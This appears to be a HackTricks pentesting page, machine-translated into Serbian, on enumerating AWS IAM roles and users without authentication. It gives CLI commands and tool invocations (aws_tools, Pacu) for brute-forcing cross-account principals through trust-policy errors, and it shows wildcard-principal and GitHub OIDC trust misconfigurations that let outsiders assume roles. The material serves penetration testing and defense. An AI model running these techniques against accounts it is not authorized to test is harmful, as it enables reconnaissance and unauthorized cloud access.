# AWS - IAM & STS Neautentifikovana Enumeracija

{{#include ../../../banners/hacktricks-training.md}}

## Enumeracija Uloga i Korisničkih Imena u nalogu

### ~~Pretpostavi Ulogu Brute-Force~~

> [!CAUTION]
> **Ova tehnika više ne funkcioniše** jer, bez obzira na to da li uloga postoji ili ne, uvek dobijate ovu grešku:
>
> `Došlo je do greške (AccessDenied) prilikom pozivanja AssumeRole operacije: Korisnik: arn:aws:iam::947247140022:user/testenv nije ovlašćen da izvrši: sts:AssumeRole na resursu: arn:aws:iam::429217632764:role/account-balanceasdas`
>
> Možete **testirati ovo pokretanjem**:
>
> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`

Pokušaj da **pretpostavite ulogu bez potrebnih dozvola** izaziva AWS poruku o grešci. Na primer, ako niste ovlašćeni, AWS može vratiti:
```ruby
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
```
Ova poruka potvrđuje postojanje uloge, ali ukazuje da njena politika preuzimanja uloge ne dozvoljava vaše preuzimanje. Nasuprot tome, pokušaj da se **preuzme nepostojeća uloga dovodi do druge greške**:
```less
An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
```
Zanimljivo je da je ova metoda **razlikovanja između postojećih i nepostojećih uloga** primenljiva čak i između različitih AWS naloga. Sa važećim AWS ID-jem naloga i ciljanom listom reči, može se enumerisati uloge prisutne u nalogu bez suočavanja sa bilo kakvim inherentnim ograničenjima.

Možete koristiti ovaj [script za enumeraciju potencijalnih principala](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) zloupotrebljavajući ovaj problem.

### Politike poverenja: Brute-Force Cross Account uloge i korisnici

Konfigurisanje ili ažuriranje **politike poverenja IAM uloge uključuje definisanje koji AWS resursi ili usluge su dozvoljeni da preuzmu tu ulogu** i dobiju privremene akreditive. Ako navedeni resurs u politici **postoji**, politika poverenja se **uspešno** čuva. Međutim, ako resurs **ne postoji**, **javlja se greška**, koja ukazuje na to da je pružen nevažeći principal.

> [!WARNING]
> Imajte na umu da u tom resursu možete navesti cross account ulogu ili korisnika:
>
> - `arn:aws:iam::acc_id:role/role_name`
> - `arn:aws:iam::acc_id:user/user_name`

Ovo je primer politike:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::216825089941:role/Test"
},
"Action": "sts:AssumeRole"
}
]
}
```
#### GUI

To je **greška** koju ćete pronaći ako koristite **ulogu koja ne postoji**. Ako uloga **postoji**, politika će biti **sačuvana** bez grešaka. (Greška se odnosi na ažuriranje, ali takođe funkcioniše i prilikom kreiranja)

![](<../../../images/image (153).png>)

#### CLI
```bash
### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
```
Možete automatizovati ovaj proces sa [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools)

- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt`

Naš korišćenje [Pacu](https://github.com/RhinoSecurityLabs/pacu):

- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
- Uloga `admin` korišćena u primeru je **uloga u vašem nalogu koja će biti imitirana** od strane pacu da kreira politike koje su mu potrebne za enumeraciju

### Privesc

U slučaju da je uloga loše konfigurisana i omogućava bilo kome da je preuzme:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}
```
Napadač bi mogao samo da pretpostavi to.

## Treća strana OIDC federacija

Zamislite da ste uspeli da pročitate **Github Actions workflow** koji pristupa **rolu** unutar **AWS**.\
Ova poverenja može omogućiti pristup roli sa sledećom **politikom poverenja**:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
```
Ova politika poverenja može biti tačna, ali **nedostatak više uslova** treba da vas navede da joj ne verujete.\
To je zato što prethodnu ulogu može preuzeti **BILO KO sa Github Actions**! Trebalo bi da navedete u uslovima i druge stvari kao što su naziv organizacije, naziv repozitorijuma, okruženje, grana...

Još jedna potencijalna pogrešna konfiguracija je da **dodate uslov** kao što je sledeći:
```json
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}
```
Napomena da **wildcard** (\*) pre **dvojne tačke** (:). Možete kreirati organizaciju kao što je **org_name1** i **pretpostaviti ulogu** iz Github akcije.

## Reference

- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)

{{#include ../../../banners/hacktricks-training.md}}
